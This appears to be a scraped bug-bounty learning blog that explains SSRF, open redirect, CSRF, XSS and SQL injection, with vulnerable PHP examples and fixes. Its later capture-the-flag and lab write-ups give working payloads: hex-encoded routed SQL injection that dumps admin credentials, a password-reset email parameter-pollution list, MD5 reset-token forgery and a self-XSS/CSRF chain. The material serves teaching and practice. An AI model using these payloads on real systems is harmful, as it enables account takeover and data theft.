$whitelisted_domains = [‘example.com’, ‘api.example.com’];
if (isset($_GET[‘url’])) {
$url = $_GET[‘url’];
$parsed_url = parse_url($url);
if (in_array($parsed_url['host'], $whitelisted_domains)) {
$content = file_get_contents($url);
echo $content;
} else {
echo "Invalid URL.";
} } else {
echo "No URL provided."; } ?> ``` 2. Validate and Sanitize Input Ensure that the URL provided by the user is valid and adheres to your expectations. This involves checking the URL's scheme, host, and structure. ```php <?php function validate_url($url) {
$parsed_url = parse_url($url);
if ($parsed_url === false) {
return false;
}
$allowed_schemes = ['http', 'https'];
if (!in_array($parsed_url['scheme'], $allowed_schemes)) {
return false;
}
return true; }
if (isset($_GET[‘url’])) {
$url = $_GET[‘url’];
if (validate_url($url)) {
$content = file_get_contents($url);
echo $content;
} else {
echo "Invalid URL.";
} } else {
echo "No URL provided."; } ?> ``` 3. Block Private IP Ranges Prevent the server from making requests to internal IP addresses. This helps to stop the server from accessing internal services and sensitive resources. ```php <?php function is_private_ip($ip) {
$private_ips = [
'10.0.0.0|10.255.255.255',
'172.16.0.0|172.31.255.255',
'192.168.0.0|192.168.255.255',
'127.0.0.0|127.255.255.255'
];
$ip_long = ip2long($ip);
if ($ip_long != -1) {
foreach ($private_ips as $private_ip) {
list($start, $end) = explode('|', $private_ip);
if ($ip_long >= ip2long($start) && $ip_long <= ip2long($end)) {
return true;
}
}
}
return false; }
if (isset($_GET[‘url’])) {
$url = $_GET[‘url’];
$parsed_url = parse_url($url);
$host = $parsed_url[‘host’];
$ip = gethostbyname($host);
if (is_private_ip($ip)) {
echo "Invalid URL.";
} else {
$content = file_get_contents($url);
echo $content;
} } else {
echo "No URL provided."; } ?> ``` By implementing these three strategies—whitelisting valid URLs, validating and sanitizing input, and blocking private IP ranges—you can significantly reduce the risk of SSRF vulnerabilities in your application ---
-
Open Redirect
Description
Open redirects occur when a website redirects users to a URL specified via a parameter without sufficient validation. This can allow attackers to manipulate the parameter to redirect users to malicious sites. This post will discuss the mechanisms of open redirects, their risks, and how to prevent them..
Websites often redirect users automatically, especially in scenarios where unauthenticated users try to access restricted pages. For instance, a user trying to access https://example.com/dashboard might be redirected to https://example.com/login to log in first. To return the user to their intended page after logging in, the site might use a URL parameter to remember the original location, such as:
https://example.com/login?redirect=https://example.com/dashboard
Open Redirect Attack
An attacker can exploit this mechanism by tricking users into visiting a malicious site via a legitimate-looking URL:
https://example.com/login?redirect=https://attacker.com
Users might click this link, believing it leads to a legitimate page, only to be redirected to a malicious site, enabling attackers to perform phishing attacks.
Referer-Based Redirect
Some sites use the Referer HTTP header to determine the original location of the user. An attacker can exploit this by creating a page that sets the Referer header to their malicious site, causing the user to be redirected there after visiting the legitimate site. An example HTML might look like:
<html>
<a href="https://example.com/login">Click here to log in to example.com</a>
</html>
When a user clicks the link, the href attribute specifies the redirect target.
Risks
Open redirects can lead to several security issues:
Phishing Attacks: Users are tricked into entering their credentials on a malicious site.
Loss of Trust: Users may lose trust in the legitimate site if they fall victim to an open redirect attack.
Escalation of Other Attacks: Open redirects can be used in combination with other vulnerabilities to escalate attacks.
Mitigation
URL Validation To prevent open redirects, the server must validate redirect URLs to ensure they are legitimate. This can be done using blocklists or allowlists:
Blocklist: The server checks the redirect URL for known malicious indicators or special characters and blocks those requests.
Allowlist: The server ensures the redirect URL matches a list of allowed hosts. If it does, the redirect proceeds; otherwise, it is blocked.
—
-
Intro To APIs
Description
API (Application Programming Interface) is a set of rules and protocols that allows one software application to interact with another. APIs define the methods and data formats that applications use to communicate with each other, enabling different systems to work together seamlessly. They abstract the complex implementation details, allowing developers to use predefined functions to interact with the software components.
Types of APIs:
REST (Representational State Transfer) API:
Uses standard HTTP methods (GET, POST, PUT, DELETE).
Stateless, meaning each request from a client contains all the information the server needs.
Data is usually exchanged in JSON or XML format.
Example: https://api.example.com/users
SOAP (Simple Object Access Protocol) API:
Uses XML for message format.
Operates with higher complexity and strict standards.
Supports more extensive security features and transaction management.
Example: https://api.example.com/soap/userService
GraphQL API:
Allows clients to request exactly the data they need.
Single endpoint to query multiple resources.
Developed by Facebook for more efficient data retrieval.
Example: https://api.example.com/graphql
Example
Example of an API:
Imagine you have an online bookstore, and you want to allow developers to access book information from your database.
API Endpoint:
https://api.onlinebookstore.com/books
HTTP Methods:
GET: Retrieve book information.
POST: Add a new book to the database.
PUT: Update information about a book.
DELETE: Remove a book from the database.
Example Usage:
GET Request
To get information about a specific book, you might use the following endpoint:
GET https://api.onlinebookstore.com/books/1
Response:
```json
{
“id”: 1,
“title”: “The Great Gatsby”,
“author”: “F. Scott Fitzgerald”,
“published_year”: 1925
}
POST Request
To add a new book, you might send a POST request with the book’s information:
POST https://api.onlinebookstore.com/books
Request Body:
{
"title": "1984",
"author": "George Orwell",
"published_year": 1949
}
Response:
{
"message": "Book added successfully",
"book_id": 2
}
Summary:
APIs are essential tools in modern software development, allowing different software systems to communicate and work together efficiently. There are various types of APIs, each serving specific purposes, from web interactions to database management and hardware communication. Understanding how APIs function and their different types can greatly enhance a developer’s ability to build robust and scalable applications.
-
Cross-Site Request Forgery
Description
CSRF Allows an attacker to induce users to perform actions that they do not intend to perform.
We can find it in (Email - Password)
Impact
For example, this might be to change the email address on their account, to change their password, or to make a funds transfer. Depending on the nature of the action, the attacker might be able to gain full control over the user’s account.
CSRF POC generator
right-click on the request and select Engagement tools / Generate CSRF PoC.
Enable the option to include an auto-submit script and click “Regenerate”.
You can get the request URL by right-clicking and selecting “Copy URL”.
way:
remove referer header and send request and check response
remove original header and send request and check response
remove csrf token and send request and check response
try to change request method
scenarios
1- bypass CSRF token validation
switch POST to the GET method to bypass the validation and deliver a CSRF attack
switch method to get
delete CSRF token
Delete CSRF token
CSRF where token is not tied to user session
That means u can use user’s token to another user
CSRF where token is tied to non-session cookie
That means if u have sessions and csrf-key and csrf token, and as you see csrf token is different to csrfkey , so they are not generate from the same generator
the session is no tied to csrfkey, but csrf key is tied to csrf token , so if we take csrf token from another user it will not work but i we take csrf key and csrfkey from another user it will work
CSRF where token is duplicated in cookie
That mean u have csrf in cookie and as a parameter , the trick here is the backend check if the csrf in cookie is equal to csrf in parameter
so we can put any thing similar in the both
2- Bypass Referer validation
Remove referer header
if u can remove referer header so when u generate this csrf poc so you have to add “head”
CSRF with broken Referer validation
In this case compare between host and referer if referer has the host value
but in this case we can abuse the referer such as: https://burpsuite/?ac741ffc1f0c0780801b…………
in this case the request will accept it.
csrf poc
https://portswigger.net/web-security/csrf/lab-referer-validation-broken
Auto-submitting form
first
second
third
Mitigation:
CSRF tokens : A CSRF token is a unique, secret, and unpredictable value that is generated by the server-side application and shared
with the client.
Referer-based validation
-
XSS From Developer's Perspective
Description
Cross-Site Scripting (XSS) is a security vulnerability typically found in web applications that allows attackers to inject malicious scripts into content from otherwise trusted websites. These scripts can then execute in the context of another user’s session, potentially stealing information or performing actions on behalf of the user.
we will know more about this vulnerability but from a developer’s perspective
Vulnerable code
Attack Scenario
Mitigation
Types of XSS
Stored XSS: The malicious script is permanently stored on the target server, such as in a database, comment field, or any other data storage.
Reflected XSS: The script is reflected off a web server, such as in an error message, search result, or any other response that includes some part of the request.
DOM-Based XSS: The vulnerability exists in the client-side code rather than the server-side code.
Stored XSS in PHP
we have a php app that allows users to post comments
Vulnerable Code
<?php
$conn = new mysqli('localhost', 'username', 'password', 'database');
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$comment = $_POST['comment'];
$sql = "INSERT INTO comments (comment) VALUES ('$comment')";
$conn->query($sql);
}
$sql = "SELECT comment FROM comments";
$result = $conn->query($sql);
while ($row = $result->fetch_assoc()) {
echo $row['comment'] . "<br>";
}
$conn->close();
?>
In this code, the comment is taken directly from the user input and inserted into the database without any sanitization or escaping. When displaying the comments, the script is executed if it contains JavaScript.
Attack Scenario
<script>alert('XSS');</script>
This comment would be stored in the database and executed whenever a user visits the page displaying the comments.
Mitigation
To mitigate xss, we need to sanitize and escape user input via functions like htmlspecialchars to escape HTML characters like this:
$comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
htmlspecialchars escape HTML characters
ENT_QUOTES replace quote " ->"
Reflected XSS in PHP
Vulnerable Code
<?php
if (isset($_GET['name'])) {
echo "Hello, " . $_GET['name'] . "!";
}
?>
the name is taken directly from the user input and reflected without any sanitization
Attack Scenario
An attacker could trick a user into clicking a URL like this:
http://example.com/page.php?name=<script>alert('XSS');</script>
when the user clicks the link, the script will execute in the user’s browser
Mitigation
Again, htmlspecialchars should be used to sanitize the input:
<?php
if (isset($_GET['name'])) {
echo "Hello, " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') . "!";
}
?>
By escaping special characters, we ensure that any input provided in the name parameter is treated as plain text rather than executable code
DOM-Based XSS
Vulnerable Code
<!DOCTYPE html>
<html>
<body>
<input id="userInput" type="text" value="<?php echo $_GET['name']; ?>">
<script>
var userInput = document.getElementById('userInput').value;
document.write("Hello, " + userInput);
</script>
</body>
</html>
in this code,Unsanitized User Input in HTML then direct usage of this input in JavaScript
Attack Scenario
An attacker could trick a user into clicking a URL like this:
http://example.com/page.php?name=<script>alert('XSS');</script>
This would result in the script being executed on the client side.
Mitigation
To prevent DOM-based XSS, avoid using document.write and use safer methods to manipulate the DOM, like textContent or proper escaping functions.
<!DOCTYPE html>
<html>
<body>
<input id="userInput" type="text" value="<?php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); ?>">
<script>
var userInput = document.getElementById('userInput').value;
var textNode = document.createTextNode("Hello, " + userInput);
document.body.appendChild(textNode);
</script>
</body>
</html>
In this secured version:
The PHP code escapes the input before outputting it into the HTML.
The JavaScript code uses createTextNode to safely insert the text into the document.
In general,to prevent xss
Always sanitize and escape user input.
Use functions like htmlspecialchars to convert special characters to HTML entities.
Avoid using dangerous functions like document.write in client-side scripts.
Validate and sanitize inputs on both server-side and client-side
-
SQL Injection
Description
SQL Injection (SQLi) is a common security vulnerability that allows attackers to manipulate SQL queries executed by a web application. This can lead to unauthorized access to the database, data theft, or data manipulation. From a developer’s perspective, understanding how SQLi works and how to prevent it is crucial.
How SQL Injection Works
SQL Injection occurs when user input is not properly sanitized and is directly used in SQL queries. This allows an attacker to inject malicious SQL code into the query, which can change its intended behavior.
Example of SQL Injection Vulnerability
Consider the following PHP code snippet, which is vulnerable to SQL injection:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
echo "Login successful!";
} else {
echo "Invalid username or password.";
}
?>
In this code, the user input ($username and $password) is directly used in the SQL query. An attacker can manipulate this input to alter the query. For example, if the attacker enters the following as the username:
' OR 1=1 --
The resulting query becomes:
SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = ''
The -- denotes a comment in SQL, so everything after it is ignored. This effectively changes the query to:
SELECT * FROM users WHERE username = '' OR 1=1
Since 1=1 is always true, the query will return all rows in the users table, potentially allowing the attacker to log in as any user.
Types Of SQLI
SQL Injection (SQLi) comes in various forms, each exploiting different aspects of SQL queries and database interactions. Here are the main types of SQLi:
Classic SQL Injection
Classic SQL Injection, also known as in-band SQL Injection, involves using the same communication channel for both the attack and the data retrieval. This is the most common type of SQLi.
SELECT * FROM users WHERE username = 'user' OR '1'='1' --' AND password = 'pass';
Error-based SQL Injection
Error-based SQL Injection leverages error messages returned by the database to gather information about the database structure.
SELECT * FROM users WHERE id = 1 AND 1=CONVERT(int, (SELECT @@version));
Union-based SQL Injection
Union-based SQL Injection uses the UNION SQL operator to combine the results of two or more SELECT queries into a single result, allowing an attacker to retrieve data from different tables.
SELECT id, username, password FROM users WHERE id = 1 UNION ALL SELECT NULL, version(), NULL;
Blind SQL Injection
Blind SQL Injection occurs when the database does not return error messages or data, making it difficult to exploit. Attackers infer information by observing the behavior of the application.
a. Boolean-based Blind SQL Injection
This technique involves sending SQL queries that result in true or false conditions and observing the application’s behavior.
SELECT * FROM users WHERE username = 'admin' AND 1=1 -- ' AND password = 'pass';
SELECT * FROM users WHERE username = 'admin' AND 1=2 -- ' AND password = 'pass';
b. Time-based Blind SQL Injection
This technique involves sending SQL queries that cause a time delay if the condition is true, allowing the attacker to infer information based on the time it takes for the response.
SELECT * FROM users WHERE IF(username='admin' AND SLEEP(5), 1, 0) -- ' AND password = 'pass';
Preventing SQL Injection
To prevent SQL Injection, you should always use prepared statements and parameterized queries. Here’s how you can modify the above code to use prepared statements with the mysqli extension:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
echo "Login successful!";
} else {
echo "Invalid username or password.";
}
$stmt->close();
?>
In this example:
the prepare method creates a prepared statement,
bind_param binds the user input to the statement.
The ss argument specifies that both parameters are strings.
Prepared statements ensure that the user input is treated as data and not as part of the SQL query
—
-
How the Internet works
Client-Server Model
The internet is composed of two kind of devices clients and servers
Clients: request resources and servvices from the server
Server: Provide those resources & services
EX:
when you open your browser(firefox) and visit a web site ,it acts as a client and request web page from web server
Then the server will provide this page to the browser
Domain Name System (DNS)
How do your browser know where to find these resources?
every device connected to the internet has a unique IP
IP addresses are made up of numbers and letters that are hard for humans
to remember. For example
IPv4 looks like this: 123.45.67.89
IPv6 looks even more complicated: 2001:db8::ff00:42:8329
This is where the Domain Name System DNS comes in. Think of a DNS server as the internet’s directory, converting domain names into IP addresses. When you input a domain name into your browser, the DNS server’s job is to translate that name into an IP address. In other words, your browser queries the DNS server, asking, “What is the IP address for this domain?
Internet Ports
After your browser obtains the correct IP address, it will attempt to connect to that IP address via a port.
So what is port ??
a logical division on devices that identifies a specific network service. We identify ports by their port numbers, which can range from 0 to 65,535
Ports allow a server to provide multiple services to the internet at the same time
HTTP Requests and Responses
Once a connection is established, the browser and server communicate via
the HyperText Transfer ProtocolHTTP.
HTTP is a set of rules that specifies how web clients and web servers should exchange information
consists of an HTTP request and an HTTP response
let’s start by HTTP request here is an examble we will analisys it
GET / HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-US
Referer: https://mdsec.net/auth/488/Home.ashx
Connection: Keep-Alive
Cookie: SessionId=5B70C71F3FD4968935CDB6682E545476
The first line of every HTTP request consists of three items, separated by spaces:
A verb indicating the HTTP method:
GET: To retrieve data from the server
POST: To submit data to the server
PUT : attempts to upload the specified resource to the server
OPTIONS:returns information about the server method used
The requested URL.
The HTTP version being used, Common version 1.0 & 1.1
The rest of the lines are HTTP request headers. These are used to pass
additional information about the request to the server.
The Cookie header: is used to send cookies from the client to the server
HTTP Response
The first line of an HTTP response contains two fields:HTTP versionandHTTP response code
The next lines contain HTTP header value similar to an http request
response body is usually like: HTML code, JSON, scripts or a PDF document hosted on the webserver
HTTP Response Codes
2xx: when a request succeeds like 200 OK.
3xx: when the server redirects the client like 302 Found.
4xx: when requesting a resource that doesn’t exist or requesting a bad format like
400 Bad Request, 403 Forbidden and 404 Not Found.
5xx: when there is some problem with HTTP server itself like 500 Internal Server Error
Encoding
Our data can’t be transmitted in the form of plain text.So websites encode their messages to prevent data corruption
there are many ways to encode the data
Base64 Encoding
make data safely user creds by using ASCII charactersEX: Q29udGVudCBFbmNvZGluZw==
Hexadecimal Encoding
representing characters in a base-16 format 0 - F
URL Encoding
Each character in a URL-encoded string can be represented by its designated hex number preceded by a % symbol EX: %6c%6f%63%61%6c%
Session Management and HTTP Cookies
when the user Login to the website a new session starts & server assign session ID for your browser as a Cookie
the user has to re-login every time he close the website tab??
No, because the website remembers his session
Session management: process that allows the server to handle multiple requests from the same user without asking the user to log in again
HTTP Cookies: as we said its the session ID that the server sent it to our browser after login.
After receiving a cookie, your browser stores it and include it in every request to the same server, That’s how the server knows it’s you!
Token-Based Authentication
In session-based authentication, the server stores your information and uses a corresponding session ID to validate your identity.
token-based authentication system stores this info directly in some sort of token. Instead of storing your information server-side and querying it using a session ID.
tokens allow servers to deduce your identity by decoding the token itself.
to protect the tokens from tampering and modification we have two ways
encrypt the tokens
use Signatuers -> userd to verify the integrity of a piece of data
the steps of this process:
the user logs in with their credentials
server validates those credentials and provides the user with a
signed token.
user sends the token with every request to prove their identity
Upon receiving and validating the token, the server reads the user’s identity information from the token and responds with confidential data.
JSON Web Tokens JWT
one of the most commonly used types of authentication tokens. It has three components: header, a payload, and a signature
The header identifies the algorithm used to generate the signature.
{ "alg" : "HS256", "typ" : "JWT" }
The payload section contains information about the user’s identity
{"id": "15", "name": "mostafa"}
the signature section validates that the user hasn’t tampered with
the token. It’s calculated by concatenating the header with the payload
4Hb/6ibbViPOzq9SJflsNGPWSk6B8F6EqVrkNjpXh7M
For this specific token, the signature was generated by signing the string
eyBhbGcgOiBIUzI1NiwgdHlwIDogSldUIH0K.eyB1c2VyX25hbWUgOiBhZG1pbiB9Cg`
with the HS256 algorithm using the secret key. The complete token concatenates each section (the header, payload, and signature), separating them with a period (.):
eyBhbGcgOiBIUzI1NiwgdHlwIDogSldUIH0K.eyB1c2VyX25hbWUgOiBhZG1pbiB9Cg.4Hb/6ibbViPOzq9SJflsNGPWSk6B8F6EqVrkNjpXh7M
But what if implemented incorrectly..??
attacker can bypass the security mechanism and forge arbitrary tokens.
Manipulating the alg Field
Sometimes applications fail to verify a token’s signature after it arrives at
the server. This allows an attacker to simply bypass the security mechanism
by providing an invalid or blank signature:
If the alg field is set to none, even tokens with empty signature sections would be considered valid.
{ "alg" : "none", "typ" : "JWT" } { "user" : "admin" }
two most common types of signing algorithms used for JWTs are HMAC and RSA.
HMAC: requires the token to be signed with a key and then later verified with the same key.
RSA: the token would first be created with a private key, then verified with the corresponding public key, which anyone can read.
Same Origin Policy (SOP)
SOP is : a script from page A can access data from page B only if the
pages are of the same origin (same protocol , same hostname & same port)
but there is like CORS HEADER allow access for some sites
ex: Access control allow origin: siteA.com , siteB.com
this mean that the server told the browser that this site can access data.
Thank you for reading..!
-
SQL injection - Routed
Description
Retrieve the administrator password.
Routed SQL Injection!!!
First time hearing about it, so I searched to see what it is, and I found that this is a situation where the injectable query is not the one which gives output, but the output of the injectable query goes to the query which gives the output.
Let’s look at this snippet of code to understand more.
<?
$id=$_GET['id'];
$query="SELECT id,sec_code FROM users WHERE id='$id'";
if (!$result=mysql_query($query,$conn))
die("Error While Selection process : " . mysql_error());
if(mysql_num_rows($result) == 0)
die();
$row = mysql_fetch_array($result, MYSQL_ASSOC);
$query="SELECT username FROM users WHERE sec_code='".$row['sec_code']."'";
echo "<br><font color=red>This is the query which gives you Output : </font>$query<br><br>";
if (!$result=mysql_query($query,$conn))
die("Error While Selection process : " . mysql_error());
if(mysql_num_rows($result) == 0)
die("Invalid Input parameter");
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo 'Username is : ' . $row['username'] . "<br>";?>
The magic here is that - the output of the first query is used as the input of the second query and it is the second query which displays output back to us. Or in other words, in order to exploit the SQL Injection vulnerability, we need to control the input for the second query - the variable sec_code (which happens to be the output of the first query). You may have already noticed that, due to the fact that the first query is vulnerable to SQL Injection, we can control and set sec_code to an arbitrary value
Routed Challange
Challange Link
Hex decoder
Let’s exploit our challange:
starting by confirming that it is vulnerable to SQL Injection by sending a single quote ‘ as payload:
ok, now i ll inject simple payload ' union select 1 -- - what this will do??
this will escape the first SQL query and set both values, the second one (representing sec_code in our ecample) to the value 1
as we said that sec_code is the output of first query and it’s the input for the second query. now it has a value, the second query will run successfully and return output for the value 1
also this will happen if we set the value to 2 ' union select 2 -- -
what if we set the second one to True ?? it will dump all the record in the DB yes!
So, the query would be ' union select ' or true -- - -- -
but i get an alert “Attack detected” mmmmmm there are filters !
Bypass the Filter
the basic bypass to the filter, i will HEX encode the term that be blocked ' or true -- -
it appears that there are 3 IDs, now we can bypass the filter easily and can control the second part of the query.
let’s determine how many columns by using Order by
the Sql table contains 2 columns cuz when try to order by 3 , i get an error that it’s unknown
payload
' union select ' order by 3 -- - -- -
payload after hexed : ' union select 0x27206f726465722062792033202d2d202d -- -
now we know that the output is [ID & Email]
if we use union select once again here we can return any output that we want
So,Let’s use SQL functions like current_user() and @@version
Payload
' union select ' union select current_user(),@@version -- - -- -
after hex encode: ' union select 0x2720756e696f6e2073656c6563742063757272656e745f7573657228292c404076657273696f6e202d2d202d -- -
we are now in a situation that resembles a normal SQL Injection.
we want to know the name of the tables that are in the DB
Retrieve Table name
payload
' union select ' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema = database() -- -
after hex encode: ' union select 0x2720554e494f4e2053454c454354207461626c655f6e616d652c206e756c6c2046524f4d20696e666f726d6174696f6e5f736368656d612e7461626c6573205748455245207461626c655f736368656d61203d2064617461626173652829202d2d202d -- -
Retrieve Columns names
the table called user has two columns, let’s get the columns’ names
payloads
-
' union select' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' AND table_schema = database() LIMIT 1, 1 -- -
after hex : ' union select 0x2720554e494f4e2053454c45435420636f6c756d6e5f6e616d652c206e756c6c2046524f4d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73205748455245207461626c655f6e616d65203d202775736572732720414e44207461626c655f736368656d61203d2064617461626173652829204c494d495420312c31202d2d202d -- -
' union select' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' AND table_schema = database() LIMIT 2, 1 -- -
after hex : ' union select 0x2720554e494f4e2053454c45435420636f6c756d6e5f6e616d652c206e756c6c2046524f4d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73205748455245207461626c655f6e616d65203d202775736572732720414e44207461626c655f736368656d61203d2064617461626173652829204c494d495420322c31202d2d202d -- -
these two payloads return columns’ names Login & Password
Retrieve Admin Password
Finallyyyyy, let’s retrieve the admin password by using Gorup_concat
payload
' union select ' union select 1,(select group_concat(login, ':' ,password) from users) -- -
after hex :' union select 2720756e696f6e202073656c65637420312c2873656c6563742067726f75705f636f6e636174286c6f67696e2c20273a27202c70617373776f7264292066726f6d20757365727329202d2d202d -- -
I know it was a long write-up, but I hope it can be useful.
See you in another one :)
-
-
-
Account TakeOver Lab4
Description
As usual, try logging in with admin@bepractical.tech.
first register new account and login nothing new. So, let’s check reset password function
Reset Password
type the email and click send
ok now check the email to see the otp
But this time, there is a reset link instead of an OTP like in previous labs. So, let’s copy the link to check it
Crack The Hash
I noticed the term Secret_key followed by a value. I think this is some kind of hash. At first, I considered cracking this hash on the CrackStation website, but I didn’t get the value. Since it’s 32-bit, I thought it might be MD5. To be sure, I took this value to a hash analyzer, and yes, it’s MD5.
I think this hash is something related to the user. So, we can try various strings like name, username, email address, phone number, password, etc.
By trying the email address used to log in, I got a match
We now go back to the Forgot Password functionality, type in the admin account email, and click send
“So now, let’s get the hash for the admin account email address we are trying to take over.”
let’s take the admin hash as secret_key then copy the link and paste it in firefox
Admin account …. Hacked gg
-
Account TakeOver Lab3
Description
As usual, try logging in with admin@bepractical.tech.
Starting from the login page, we can sign in as in Lab 2, so I created a new account. Then, I played around with BurpSuite, trying various ideas learned from Lab 1 and Lab 2, but with no success. Let’s go directly to the reset password function.
Reset Password
Turn on interception and click send to see the request.
Notice the format used is JSON , while hunting take these notes
when reset password
GET /passwordreset
#Double parameter
- email=victim@xyz.tld&email=hacker@xyz.tld
- email=victim@xyz.tld,email=hacker@xyz.tld
- email=victim@xyz.tld&bcc:hacker@xyz.tld
- email=victim@xyz.tld%0a%0dcc:=hacker@xyz.tld
- email=victim@xyz.tld,hacker@xyz.tld
- email=victim@xyz.tld%20hacker@xyz.tld
- email=victim@xyz.tld|hacker@xyz.tld
- {"email":["victim@xyz.tld","hacker@xyz.tld"]}
The last one worked for me by entering both emails like this.
{
"email":["admin@practical.tech",
"730bbbfd32@emailcbox.pro" ]
}
press forward to see the response. it’s a 200 ok
now go to firefox
Admin account …. Hacked gg
-
-
Account TakeOver Lab1
Description
bepractical.tech. It’s a platform that offers various challenges and labs for cybersecurity enthusiasts and bug hunters to practice their skills. The site provides hands-on experience with real-world scenarios, allowing users to test and improve their abilities in finding and exploiting vulnerabilities.
—
Login
First we will login with the credentials given
john@bepractical.tech:john@123
As you can see, we were logged in as John.
Now, let’s go back to the login page, intercept the same request with BurpSuite, and send it to the Repeater.
When we logged in with the given credentials, the response was MQ==, which is Base64 for 1.
If we change the email parameter to admin@bepractical.tech, the response will be ZmFsc2U=, which means false.
Response Manipulation
Immediately, I thought about response manipulation.
So, I went back and intercepted the request. I changed the email to admin@bepractical.tech, right-clicked, selected Do intercept, chose response to this request, and then forwarded it. After that, I changed ZmFsc2U= to MQ== and forwarded the request again
Now, turn intercept off, then go back to Firefox.
GG lab is solved.
-
-
Chain self xss + CSRF lead to Reflected XSS
Reflected XSS via Self-XSS + CSRF Chain
Hello, in this writeup I’m going to walk through the technique I used to achieve Reflected Cross-Site Scripting (RXSS) by chaining a Self-XSS with CSRF.
Let’s first briefly define XSS and its types before diving into the actual bug.
What is XSS?
Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to inject malicious scripts into trusted web pages, causing them to execute within the victim’s browser session.
Types of XSS:
Stored XSS: the payload is permanently stored on the server (database, comments, etc.).
Reflected XSS: the payload is immediately reflected back in the server’s response (search results, error messages, etc.).
DOM-Based XSS: the vulnerability exists purely in client-side JavaScript, with no server involvement required.
Now let’s get into the actual bug.
Let’s call our target example.com
Recon
I started with some basic recon:
subfinder -d example.com
Going through the results, one subdomain caught my attention: banking.example.com
Discovery
I opened it and created an account. I started by checking the profile page and testing the parameters, injecting simple HTML and XSS payloads to see what would reflect in the page source.
I found a parameter called iban that reflected my input without any sanitization.
So I crafted the following payload:
"><body onpageshow=alert(document.domain)><
Upon saving, the alert fired, as shown in the screenshot below:
At this point, it was still just a Self-XSS with zero impact on other users.
Escalation
To turn this into a real, impactful vulnerability, I inspected the request further and noticed it had no CSRF token, which gave me the idea to chain it with CSRF.
I opened the request in Burp Suite Pro:
Right click -> Engagement tools -> Generate CSRF PoC
I then hosted the PoC on GitHub Pages. Now, sending this link to a victim causes the JavaScript payload to execute within their authenticated session, effectively escalating the Self-XSS into a fully Reflected XSS.
6-Bug_Bounty
· 2024-04-28
Touch background to close